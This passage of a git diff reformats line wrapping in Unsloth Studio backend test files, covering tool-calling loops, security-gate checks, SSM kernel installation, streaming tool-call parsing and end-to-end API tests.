0, "id": call_id, "type": "function", - "function": {"name": tool_name, "arguments": json.dumps(arguments)}, + "function": { + "name": tool_name, + "arguments": json.dumps(arguments), + }, } ] } @@ -123,9 +126,13 @@ def _run_one_tool(monkeypatch, tool_name: str, arguments: dict) -> str: ) ) tool_ends = [ - e for e in events if e.get("type") == "tool_end" and e.get("tool_name") == tool_name + e + for e in events + if e.get("type") == "tool_end" and e.get("tool_name") == tool_name ] - assert tool_ends, f"loop never executed {tool_name}; events={[e.get('type') for e in events]}" + assert ( + tool_ends + ), f"loop never executed {tool_name}; events={[e.get('type') for e in events]}" return tool_ends[0]["result"] @@ -143,7 +150,9 @@ def test_python_tool_counts_to_100(monkeypatch): # "Use the python tool to count from 1 to 100." expected = " ".join(str(i) for i in range(1, 101)) result = _run_one_tool( - monkeypatch, "python", {"code": "print(' '.join(str(i) for i in range(1, 101)))"} + monkeypatch, + "python", + {"code": "print(' '.join(str(i) for i in range(1, 101)))"}, ) assert expected in result, result # real subprocess produced the full sequence @@ -152,12 +161,16 @@ def test_bash_tool_returns_current_datetime(monkeypatch): # "Use the bash tool to provide today's datetime." Bound the parsed UTC time # to the call window rather than a hard-coded date (survives midnight/TZ). before = datetime.now(timezone.utc) - timedelta(seconds = 5) - result = _run_one_tool(monkeypatch, "terminal", {"command": "date -u +%Y-%m-%dT%H:%M:%SZ"}) + result = _run_one_tool( + monkeypatch, "terminal", {"command": "date -u +%Y-%m-%dT%H:%M:%SZ"} + ) after = datetime.now(timezone.utc) + timedelta(seconds = 5) match = re.search(r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z", result) assert match, f"no UTC datetime in terminal result: {result!r}" - parsed = datetime.strptime(match.group(), "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo = timezone.utc) + parsed = datetime.strptime(match.group(), "%Y-%m-%dT%H:%M:%SZ").replace( + tzinfo = timezone.utc + ) assert before <= parsed <= after, f"{parsed} not in [{before}, {after}]" @@ -182,7 +195,9 @@ def test_web_search_tool_runs_with_mocked_fetch(monkeypatch): ] monkeypatch.setattr("ddgs.DDGS", _FakeDDGS) - result = _run_one_tool(monkeypatch, "web_search", {"query": "weather in San Francisco"}) + result = _run_one_tool( + monkeypatch, "web_search", {"query": "weather in San Francisco"} + ) assert "San Francisco: sunny, 68F." in result, result assert "https://example.test/sf" in result diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py index a8c0c2305f..a6084ff4d9 100644 --- a/studio/backend/tests/test_secure_tunnel_gate.py +++ b/studio/backend/tests/test_secure_tunnel_gate.py @@ -143,7 +143,9 @@ def test_startup_output_emits_tool_notice_on_network_bind(capsys, monkeypatch): monkeypatch.setattr(run, "_print_cloudflare_line", lambda *a, **k: None) monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None) - run._emit_startup_output("0.0.0.0", 8000, "0.0.0.0", secure = False, enable_tools = None) + run._emit_startup_output( + "0.0.0.0", 8000, "0.0.0.0", secure = False, enable_tools = None + ) out = capsys.readouterr().out assert "Server-side tools" in out assert "network-reachable" in out @@ -153,7 +155,9 @@ def test_startup_output_emits_disabled_notice(capsys, monkeypatch): import run monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None) - run._emit_startup_output("127.0.0.1", 8000, "127.0.0.1", secure = False, enable_tools = False) + run._emit_startup_output( + "127.0.0.1", 8000, "127.0.0.1", secure = False, enable_tools = False + ) out = capsys.readouterr().out assert "Server-side tools are DISABLED" in out diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py index b5f1069f12..ea54bc6024 100644 --- a/studio/backend/tests/test_security_gate_consistency.py +++ b/studio/backend/tests/test_security_gate_consistency.py @@ -27,7 +27,9 @@ def _iter_caller_files(): def _passes_token(call: ast.Call) -> bool: """True if the call passes an hf_token (keyword, or the 2nd positional slot).""" - if any(kw.arg in ("hf_token", "token") for kw in call.keywords if kw.arg is not None): + if any( + kw.arg in ("hf_token", "token") for kw in call.keywords if kw.arg is not None + ): return True return len(call.args) >= 2 @@ -50,7 +52,9 @@ def test_capability_probes_thread_the_hf_token(): if isinstance(node, ast.Call) and _call_name(node) in _PROBE_FUNCS: if not _passes_token(node): rel = path.relative_to(_BACKEND) - offenders.append(f"{rel}:{node.lineno} {_call_name(node)}() drops the hf_token") + offenders.append( + f"{rel}:{node.lineno} {_call_name(node)}() drops the hf_token" + ) assert not offenders, ( "A capability probe must pass the hf_token so gated/private models classify " "correctly:\n " + "\n ".join(offenders) @@ -94,8 +98,12 @@ def test_malware_and_consent_gates_cover_the_lora_base(): offenders = [] for rel in gated_workers: src = (_BACKEND / rel).read_text() - runs_gate = "evaluate_file_security(" in src or "evaluate_remote_code_consent" in src - resolves_base = "get_base_model_from_lora_identifier(" in src or "base_model" in src + runs_gate = ( + "evaluate_file_security(" in src or "evaluate_remote_code_consent" in src + ) + resolves_base = ( + "get_base_model_from_lora_identifier(" in src or "base_model" in src + ) if runs_gate and not resolves_base: offenders.append(f"{rel} runs a load gate but never resolves the LoRA base") assert not offenders, "\n".join(offenders) diff --git a/studio/backend/tests/test_server_disk_logging.py b/studio/backend/tests/test_server_disk_logging.py index ce733c2aaa..6702b1d891 100644 --- a/studio/backend/tests/test_server_disk_logging.py +++ b/studio/backend/tests/test_server_disk_logging.py @@ -91,7 +91,9 @@ class TestSetupServerDiskLogging: def test_run_server_wires_logging_before_main_import(self): src = (Path(_BACKEND_DIR) / "run.py").read_text(encoding = "utf-8") - call_idx = src.index("_setup_server_disk_logging()", src.index("def run_server")) + call_idx = src.index( + "_setup_server_disk_logging()", src.index("def run_server") + ) main_import_idx = src.index("from main import app", src.index("def run_server")) assert call_idx < main_import_idx, ( "disk logging must be armed before importing main so import-time " diff --git a/studio/backend/tests/test_setup_cache_env_hf_home.py b/studio/backend/tests/test_setup_cache_env_hf_home.py index 4520c93a51..3f999031e6 100644 --- a/studio/backend/tests/test_setup_cache_env_hf_home.py +++ b/studio/backend/tests/test_setup_cache_env_hf_home.py @@ -18,7 +18,9 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent) if _BACKEND_DIR not in sys.path: sys.path.insert(0, _BACKEND_DIR) -_STORAGE_ROOTS_PATH = Path(__file__).resolve().parent.parent / "utils/paths/storage_roots.py" +_STORAGE_ROOTS_PATH = ( + Path(__file__).resolve().parent.parent / "utils/paths/storage_roots.py" +) @pytest.fixture(autouse = True) @@ -28,7 +30,9 @@ def _isolate_studio_home(monkeypatch, tmp_path): def _load_storage_roots(): - spec = importlib.util.spec_from_file_location("storage_roots_under_test", _STORAGE_ROOTS_PATH) + spec = importlib.util.spec_from_file_location( + "storage_roots_under_test", _STORAGE_ROOTS_PATH + ) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module diff --git a/studio/backend/tests/test_setup_llama_cpp_backend.py b/studio/backend/tests/test_setup_llama_cpp_backend.py index 36928c680c..70ca6374ea 100644 --- a/studio/backend/tests/test_setup_llama_cpp_backend.py +++ b/studio/backend/tests/test_setup_llama_cpp_backend.py @@ -20,8 +20,12 @@ import pytest _STUDIO = Path(__file__).resolve().parents[2] _SETUP_SH = _STUDIO / "setup.sh" _SETUP_PS1 = _STUDIO / "setup.ps1" -_SKIP_NO_BASH = pytest.mark.skipif(shutil.which("bash") is None, reason = "bash unavailable") -_SKIP_NO_PWSH = pytest.mark.skipif(shutil.which("pwsh") is None, reason = "pwsh unavailable") +_SKIP_NO_BASH = pytest.mark.skipif( + shutil.which("bash") is None, reason = "bash unavailable" +) +_SKIP_NO_PWSH = pytest.mark.skipif( + shutil.which("pwsh") is None, reason = "pwsh unavailable" +) def _backend_block() -> str: diff --git a/studio/backend/tests/test_sf_client_tools_passthrough.py b/studio/backend/tests/test_sf_client_tools_passthrough.py index f91eec9817..3bafe7c01e 100644 --- a/studio/backend/tests/test_sf_client_tools_passthrough.py +++ b/studio/backend/tests/test_sf_client_tools_passthrough.py @@ -43,7 +43,9 @@ SEARCH_TOOL = { } _CALL_XML = '{"name": "lookup", "arguments": {"q": "cats"}}' -_SEARCH_XML = '{"name": "search", "arguments": {"query": "dogs"}}' +_SEARCH_XML = ( + '{"name": "search", "arguments": {"query": "dogs"}}' +) class _Request: @@ -145,7 +147,9 @@ def _call(payload, monkeypatch, backend, **install_kwargs): _install(monkeypatch, backend, **install_kwargs) async def _run(): - return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + return await openai_chat_completions( + payload, request = _Request(), current_subject = "u" + ) return asyncio.run(_run()) @@ -340,7 +344,9 @@ def test_forced_tool_choice_narrows_promotion(monkeypatch): def test_parallel_cap_non_streaming(monkeypatch): backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML)) - payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False) + payload = _request( + tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False + ) body = _json_body(_call(payload, monkeypatch, backend)) calls = body["choices"][0]["message"]["tool_calls"] assert len(calls) == 1 @@ -354,7 +360,9 @@ def test_usage_recorded_when_stats_present(monkeypatch): monitor = _install(monkeypatch, backend) async def _run(): - return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + return await openai_chat_completions( + payload, request = _Request(), current_subject = "u" + ) asyncio.run(_run()) [entry] = monitor.snapshot() @@ -410,7 +418,11 @@ def test_nudge_double_failure_relays_original(monkeypatch): def test_streaming_heals_split_call_into_one_delta(monkeypatch): # Cumulative snapshots that build the call across many increments. - pieces = ["{"name": "loo', '{"name": "lookup", "argum'] + pieces = [ + "{"name": "loo', + '{"name": "lookup", "argum', + ] cumulative = pieces + [_CALL_XML] backend = _ScriptedBackend(_fixed(*cumulative)) payload = _request(tools = [LOOKUP_TOOL], stream = True) @@ -419,7 +431,10 @@ def test_streaming_heals_split_call_into_one_delta(monkeypatch): tool_deltas = [ tc for o in objs - for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get( + "tool_calls", [] + ) + or [] ] assert len(tool_deltas) == 1 assert tool_deltas[0]["function"]["name"] == "lookup" @@ -464,7 +479,10 @@ def test_streaming_cancel_does_not_finalize_tool_call(monkeypatch): tool_deltas = [ tc for o in objs - for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get( + "tool_calls", [] + ) + or [] ] assert tool_deltas == [] # no tool promoted after cancel finishes = [ @@ -511,7 +529,9 @@ def test_streaming_gen_stream_error_is_not_model_text(monkeypatch): chunks = _collect_sse(response) objs = _sse_objects(chunks) - deltas = [o.get("choices", [{}])[0].get("delta", {}) for o in objs if o.get("choices")] + deltas = [ + o.get("choices", [{}])[0].get("delta", {}) for o in objs if o.get("choices") + ] assert any("partial" in json.dumps(delta) for delta in deltas) assert not any("/tmp/secret" in json.dumps(delta) for delta in deltas) errors = [o["error"]["message"] for o in objs if "error" in o] @@ -549,20 +569,28 @@ def test_streaming_repeated_snapshot_no_duplicate_call(monkeypatch): tool_deltas = [ tc for o in objs - for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get( + "tool_calls", [] + ) + or [] ] assert len(tool_deltas) == 1 def test_streaming_parallel_cap(monkeypatch): backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML)) - payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False) + payload = _request( + tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False + ) response = _call(payload, monkeypatch, backend) objs = _sse_objects(_collect_sse(response)) tool_deltas = [ tc for o in objs - for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get( + "tool_calls", [] + ) + or [] ] assert len(tool_deltas) == 1 assert tool_deltas[0]["function"]["name"] == "lookup" @@ -658,8 +686,12 @@ def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch): # Double-failure nudge: the first response is delivered, but the retry's # generate() overwrites stats_holder. The monitor must record the FIRST # attempt's usage, not the discarded retry's. - first_stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}} - retry_stats = {"usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198}} + first_stats = { + "usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10} + } + retry_stats = { + "usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198} + } class _PerCallStatsBackend(_ScriptedBackend): def __init__(self): @@ -687,7 +719,9 @@ def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch): monitor = _install(monkeypatch, backend) async def _run(): - return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + return await openai_chat_completions( + payload, request = _Request(), current_subject = "u" + ) asyncio.run(_run()) assert len(backend.calls) == 2 # first attempt + one discarded retry @@ -703,7 +737,9 @@ def test_monitor_records_healed_call_not_raw_xml(monkeypatch): monitor = _install(monkeypatch, backend) async def _run(): - return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + return await openai_chat_completions( + payload, request = _Request(), current_subject = "u" + ) asyncio.run(_run()) snap = monitor.snapshot(include_details = True) @@ -721,7 +757,9 @@ def test_streaming_monitor_records_healed_call_not_raw_xml(monkeypatch): monitor = _install(monkeypatch, backend) async def _run(): - return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + return await openai_chat_completions( + payload, request = _Request(), current_subject = "u" + ) response = asyncio.run(_run()) _collect_sse(response) @@ -798,7 +836,9 @@ def test_string_arguments_history_deserialized_for_template(monkeypatch): ], ) _json_body(_call(payload, monkeypatch, backend)) - assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant") + assistant = next( + m for m in backend.calls[0]["messages"] if m["role"] == "assistant" + ) assert assistant["tool_calls"][0]["function"]["arguments"] == {"q": "weather"} @@ -825,7 +865,9 @@ def test_unparseable_arguments_string_left_untouched(monkeypatch): ) body = _json_body(_call(payload, monkeypatch, backend)) assert body["choices"][0]["message"]["content"] == "ok" - assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant") + assistant = next( + m for m in backend.calls[0]["messages"] if m["role"] == "assistant" + ) assert assistant["tool_calls"][0]["function"]["arguments"] == "not json {" diff --git a/studio/backend/tests/test_shutdown_preserves_live_worker.py b/studio/backend/tests/test_shutdown_preserves_live_worker.py index faf273411c..fec90c2054 100644 --- a/studio/backend/tests/test_shutdown_preserves_live_worker.py +++ b/studio/backend/tests/test_shutdown_preserves_live_worker.py @@ -133,7 +133,9 @@ class TestSpawnPathsHonorFailedShutdown: o._export_active = False o._ensure_subprocess_alive = lambda: True o._shutdown_subprocess = lambda *a, **k: False - o._spawn_subprocess = lambda cfg: pytest.fail("must not spawn over a live survivor") + o._spawn_subprocess = lambda cfg: pytest.fail( + "must not spawn over a live survivor" + ) o._record_op_finished = lambda *a, **k: None monkeypatch.setattr(tv, "sidecar_swap_in_progress", lambda: False) diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py index d354c7e113..4acf82733d 100644 --- a/studio/backend/tests/test_slot_offload_fit.py +++ b/studio/backend/tests/test_slot_offload_fit.py @@ -111,5 +111,7 @@ class TestSlotsThatFitOnGpu: def test_kv_counted_per_candidate(self): # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds. - gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576}) + gi, use_fit, slots = _run( + _backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576} + ) assert use_fit is False and slots == 3 diff --git a/studio/backend/tests/test_ssm_runtime.py b/studio/backend/tests/test_ssm_runtime.py index bb0caa2887..f61070a153 100644 --- a/studio/backend/tests/test_ssm_runtime.py +++ b/studio/backend/tests/test_ssm_runtime.py @@ -85,7 +85,9 @@ def test_non_ssm_models_not_detected(name): def test_probe_lora_uses_base_not_adapter_name(): # A plain-Llama LoRA whose adapter id contains an SSM substring is not SSM. - probe = ssm_runtime.ssm_probe_identifier("user/falcon-h1-lora", "meta-llama/Llama-3-8B") + probe = ssm_runtime.ssm_probe_identifier( + "user/falcon-h1-lora", "meta-llama/Llama-3-8B" + ) assert probe == "meta-llama/Llama-3-8B" assert ssm_runtime.model_is_ssm(probe) is False @@ -96,7 +98,10 @@ def test_probe_lora_on_ssm_base_detected(): def test_probe_plain_hf_id_unchanged(): - assert ssm_runtime.ssm_probe_identifier("nvidia/Nemotron-H-8B") == "nvidia/Nemotron-H-8B" + assert ( + ssm_runtime.ssm_probe_identifier("nvidia/Nemotron-H-8B") + == "nvidia/Nemotron-H-8B" + ) def test_probe_local_path_uses_basename(tmp_path): @@ -119,8 +124,12 @@ def test_probe_local_ssm_checkpoint_basename_detected(tmp_path): def test_noop_for_non_ssm_model(monkeypatch): calls = [] - monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: calls.append(k) or True) - ssm_runtime.ensure_ssm_runtime("unsloth/Llama-3.2-1B-Instruct", run = lambda *a, **k: _Result()) + monkeypatch.setattr( + ssm_runtime, "_install_kernel", lambda **k: calls.append(k) or True + ) + ssm_runtime.ensure_ssm_runtime( + "unsloth/Llama-3.2-1B-Instruct", run = lambda *a, **k: _Result() + ) assert calls == [] # nothing installed for a plain transformer @@ -165,7 +174,9 @@ def test_causal_only_install_failure_is_not_fatal(monkeypatch): def test_ssm_causal_failure_nonfatal_when_mamba_ok(monkeypatch): # causal-conv1d is best-effort even for a true SSM model; only mamba-ssm is fatal. monkeypatch.setattr( - ssm_runtime, "_install_kernel", lambda *, import_name, **_: import_name == "mamba_ssm" + ssm_runtime, + "_install_kernel", + lambda *, import_name, **_: import_name == "mamba_ssm", ) ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B") # no raise @@ -173,7 +184,9 @@ def test_ssm_causal_failure_nonfatal_when_mamba_ok(monkeypatch): def test_install_kernel_idempotent_when_present(monkeypatch): monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: True) called = [] - monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: called.append("url") or True) + monkeypatch.setattr( + ssm_runtime, "url_exists", lambda u: called.append("url") or True + ) ok = ssm_runtime._install_kernel( import_name = "mamba_ssm", display_name = "mamba-ssm", @@ -192,7 +205,9 @@ def test_install_kernel_uses_prebuilt_wheel(monkeypatch): # not importable before install, importable after the wheel lands states = iter([False, True]) monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states)) - monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"x": "y"}) + monkeypatch.setattr( + ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"x": "y"} + ) seen = {} monkeypatch.setattr( ssm_runtime, @@ -250,7 +265,9 @@ def test_install_kernel_falls_back_to_source(monkeypatch): def test_is_importable_invalidates_caches(monkeypatch): calls = [] - monkeypatch.setattr(ssm_runtime.importlib, "invalidate_caches", lambda: calls.append(1)) + monkeypatch.setattr( + ssm_runtime.importlib, "invalidate_caches", lambda: calls.append(1) + ) assert ssm_runtime._is_importable("sys") is True assert calls # caches invalidated before attempting the import @@ -299,7 +316,9 @@ def test_ssm_model_on_windows_still_installs_mamba(monkeypatch): lambda *, import_name, **_: installed.append(import_name) or True, ) ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B") - assert installed == ["mamba_ssm"] # causal-conv1d skipped, mamba-ssm still attempted + assert installed == [ + "mamba_ssm" + ] # causal-conv1d skipped, mamba-ssm still attempted def test_wheel_installed_but_not_importable_falls_back_to_source(monkeypatch): @@ -335,7 +354,9 @@ def test_hip_source_build_requires_hipcc(monkeypatch): ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"hip_version": "6.2"} ) monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None) - monkeypatch.setattr(ssm_runtime.shutil, "which", lambda name: None) # no uv, no hipcc + monkeypatch.setattr( + ssm_runtime.shutil, "which", lambda name: None + ) # no uv, no hipcc ran = [] ok = ssm_runtime._install_kernel( import_name = "causal_conv1d", @@ -380,7 +401,9 @@ def test_hip_uv_source_build_uses_no_cache(monkeypatch): ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"hip_version": "6.2"} ) monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None) - monkeypatch.setattr(ssm_runtime.shutil, "which", lambda name: "/usr/bin/" + name) # uv + hipcc + monkeypatch.setattr( + ssm_runtime.shutil, "which", lambda name: "/usr/bin/" + name + ) # uv + hipcc monkeypatch.setattr(ssm_runtime, "_hipcc_gcc_install_dir", lambda: None) cmds = [] ssm_runtime._install_kernel( @@ -464,7 +487,9 @@ def test_pre_import_gate_is_transformers_free(): with patch.object(fs, "_fetch_security_status", return_value = None): fs.evaluate_file_security("nvidia/Nemotron-H-8B", load_subdirs = ()) with patch.object( - consent, "_load_remote_code_configs", return_value = [{"model_type": "nemotron_h"}] + consent, + "_load_remote_code_configs", + return_value = [{"model_type": "nemotron_h"}], ): from utils.security import evaluate_remote_code_consent_for_targets evaluate_remote_code_consent_for_targets( @@ -476,7 +501,9 @@ def test_pre_import_gate_is_transformers_free(): finally: # Drop anything the gate imported, then rebind the original module objects so later # tests see the same instances they captured at import time. - for m in [m for m in list(_sys.modules) if _is_gated_module(m) and m not in _saved]: + for m in [ + m for m in list(_sys.modules) if _is_gated_module(m) and m not in _saved + ]: _sys.modules.pop(m, None) _sys.modules.update(_saved) @@ -527,7 +554,9 @@ def test_constants_match_training_worker(): assert set(ssm_runtime.SSM_MODEL_SUBSTRINGS) == set(tw._SSM_MODEL_SUBSTRINGS) assert ssm_runtime.MAMBA_SSM_PACKAGE_VERSION == tw._MAMBA_SSM_PACKAGE_VERSION assert ssm_runtime.MAMBA_SSM_RELEASE_TAG == tw._MAMBA_SSM_RELEASE_TAG - assert ssm_runtime.CAUSAL_CONV1D_PACKAGE_VERSION == tw._CAUSAL_CONV1D_PACKAGE_VERSION + assert ( + ssm_runtime.CAUSAL_CONV1D_PACKAGE_VERSION == tw._CAUSAL_CONV1D_PACKAGE_VERSION + ) assert ssm_runtime.CAUSAL_CONV1D_RELEASE_TAG == tw._CAUSAL_CONV1D_RELEASE_TAG # detection must agree with the training worker across SSM + non-SSM names @@ -541,6 +570,6 @@ def test_constants_match_training_worker(): "unsloth/Llama-3.2-1B-Instruct", "unsloth/Qwen2.5-7B", ): - assert ssm_runtime.model_wants_causal_conv1d(name) == tw._model_wants_causal_conv1d( + assert ssm_runtime.model_wants_causal_conv1d( name - ), name + ) == tw._model_wants_causal_conv1d(name), name diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py index c8875bf5db..8735449c50 100644 --- a/studio/backend/tests/test_startup_banner_loopback.py +++ b/studio/backend/tests/test_startup_banner_loopback.py @@ -15,7 +15,9 @@ from startup_banner import print_studio_access_banner def test_non_alias_loopback_shows_real_address(capsys): # A server bound to 127.0.0.2 does not listen on 127.0.0.1. - print_studio_access_banner(port = 8891, bind_host = "127.0.0.2", display_host = "127.0.0.2") + print_studio_access_banner( + port = 8891, bind_host = "127.0.0.2", display_host = "127.0.0.2" + ) out = capsys.readouterr().out assert "http://127.0.0.2:8891" in out assert "http://127.0.0.1" not in out @@ -32,7 +34,9 @@ def test_banner_prints_on_strict_cp1252_stdout(monkeypatch): stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict") monkeypatch.setattr(sys, "stdout", stdout) - print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + print_studio_access_banner( + port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1" + ) stdout.flush() out = buf.getvalue().decode("cp1252") @@ -60,6 +64,8 @@ def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch): stdout = InvalidEncodingStdout() monkeypatch.setattr(sys, "stdout", stdout) - print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + print_studio_access_banner( + port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1" + ) assert "? Unsloth Studio is running" in stdout.getvalue() diff --git a/studio/backend/tests/test_studio_api.py b/studio/backend/tests/test_studio_api.py index 087c00b648..c4d46621c3 100644 --- a/studio/backend/tests/test_studio_api.py +++ b/studio/backend/tests/test_studio_api.py @@ -72,7 +72,11 @@ DEFAULT_VARIANT = "UD-Q4_K_XL" PORT = 18222 # high port unlikely to collide HOST = "127.0.0.1" STARTUP_TIMEOUT = 120 # seconds -LOG_FILE = Path(__file__).resolve().parent.parent.parent.parent / "temp" / "test_studio_api.log" +LOG_FILE = ( + Path(__file__).resolve().parent.parent.parent.parent + / "temp" + / "test_studio_api.log" +) # Helpers @@ -216,7 +220,9 @@ def test_openai_sdk(base_url: str, api_key: str): client = OpenAI(base_url = f"{base_url}/v1", api_key = api_key) response = client.chat.completions.create( model = "current", - messages = [{"role": "user", "content": "What is 2+2? Answer with just the number."}], + messages = [ + {"role": "user", "content": "What is 2+2? Answer with just the number."} + ], stream = True, ) content_parts = [] @@ -379,7 +385,9 @@ def test_openai_tools_nonstream(base_url: str, api_key: str): assert "city" in parsed, f"Tool call missing required 'city' arg: {parsed}" # Usage must be non-zero (was 0 before the fix) usage = data.get("usage") or {} - assert usage.get("prompt_tokens", 0) > 0, f"Expected non-zero prompt_tokens; got {usage}" + assert ( + usage.get("prompt_tokens", 0) > 0 + ), f"Expected non-zero prompt_tokens; got {usage}" assert data.get("id"), "Missing response id" print( f" PASS openai tools non-stream: " @@ -404,7 +412,8 @@ def test_openai_tools_stream(base_url: str, api_key: str): assert status == 200, f"Expected 200, got {status}" assert len(chunks) > 0, "No SSE chunks received" assert _final_finish_reason(chunks) == "tool_calls", ( - f"Expected final finish_reason='tool_calls', got " f"{_final_finish_reason(chunks)!r}" + f"Expected final finish_reason='tool_calls', got " + f"{_final_finish_reason(chunks)!r}" ) assembled = _collect_streamed_tool_calls(chunks) assert len(assembled) >= 1, "No tool_calls reassembled from stream" @@ -487,7 +496,8 @@ def test_openai_sdk_tool_calling(base_url: str, api_key: str): stream = False, ) assert resp.choices[0].finish_reason == "tool_calls", ( - f"Expected finish_reason='tool_calls', got " f"{resp.choices[0].finish_reason!r}" + f"Expected finish_reason='tool_calls', got " + f"{resp.choices[0].finish_reason!r}" ) tool_calls = resp.choices[0].message.tool_calls assert tool_calls and len(tool_calls) >= 1, "No tool_calls from SDK" @@ -495,7 +505,9 @@ def test_openai_sdk_tool_calling(base_url: str, api_key: str): assert tc.function.name == "get_weather" parsed = json.loads(tc.function.arguments) assert "city" in parsed - print(f" PASS openai SDK tool calling: " f"tool={tc.function.name}, args={parsed}") + print( + f" PASS openai SDK tool calling: " f"tool={tc.function.name}, args={parsed}" + ) def test_invalid_key_rejected(base_url: str): @@ -638,7 +650,9 @@ def test_anthropic_sdk(base_url: str, api_key: str): message = client.messages.create( model = "default", max_tokens = 100, - messages = [{"role": "user", "content": "What is 2+2? Answer with just the number."}], + messages = [ + {"role": "user", "content": "What is 2+2? Answer with just the number."} + ], ) assert message.role == "assistant" assert len(message.content) > 0, "Empty content" @@ -689,7 +703,9 @@ def test_anthropic_with_tools(base_url: str, api_key: str): assert "message_stop" in event_types, "Missing message_stop" full = _collect_anthropic_text(events) - print(f" PASS anthropic with tools: {len(events)} events, {len(full)} chars content") + print( + f" PASS anthropic with tools: {len(events)} events, {len(full)} chars content" + ) def test_anthropic_tool_choice_any(base_url: str, api_key: str): @@ -749,7 +765,8 @@ def test_anthropic_tool_choice_any(base_url: str, api_key: str): tool_use_starts = [ e for e in events - if e[0] == "content_block_start" and e[1].get("content_block", {}).get("type") == "tool_use" + if e[0] == "content_block_start" + and e[1].get("content_block", {}).get("type") == "tool_use" ] assert len(tool_use_starts) >= 1, "No tool_use content block emitted" print( @@ -799,7 +816,9 @@ def _start_server(model: str, variant: str | None) -> tuple[subprocess.Popen, st if proc.poll() is not None: log_fh.flush() log_text = LOG_FILE.read_text() - raise RuntimeError(f"Server exited early (code {proc.returncode}):\n{log_text[-2000:]}") + raise RuntimeError( + f"Server exited early (code {proc.returncode}):\n{log_text[-2000:]}" + ) log_text = LOG_FILE.read_text() m = re.search(r"API Key:\s+(sk-unsloth-[a-f0-9]+)", log_text) if m: @@ -809,7 +828,9 @@ def _start_server(model: str, variant: str | None) -> tuple[subprocess.Popen, st if not api_key: log_text = LOG_FILE.read_text() _kill_server(proc) - raise RuntimeError(f"Timed out waiting for API key in server output:\n{log_text[-2000:]}") + raise RuntimeError( + f"Timed out waiting for API key in server output:\n{log_text[-2000:]}" + ) # Wait a moment for the model to be fully loaded time.sleep(2) @@ -836,7 +857,9 @@ def _kill_server(proc: subprocess.Popen): def main(): - parser = argparse.ArgumentParser(description = "End-to-end tests for unsloth studio run") + parser = argparse.ArgumentParser( + description = "End-to-end tests for unsloth studio run" + ) parser.add_argument( "--model", default = DEFAULT_MODEL, @@ -870,7 +893,9 @@ def main(): run_test(test_help_output) # 2-16. Start server and run API tests - print(f"\nStarting server: {args.model} (variant={args.gguf_variant}) on port {PORT}...") + print( + f"\nStarting server: {args.model} (variant={args.gguf_variant}) on port {PORT}..." + ) proc = None try: proc, api_key = _start_server(args.model, args.gguf_variant) diff --git 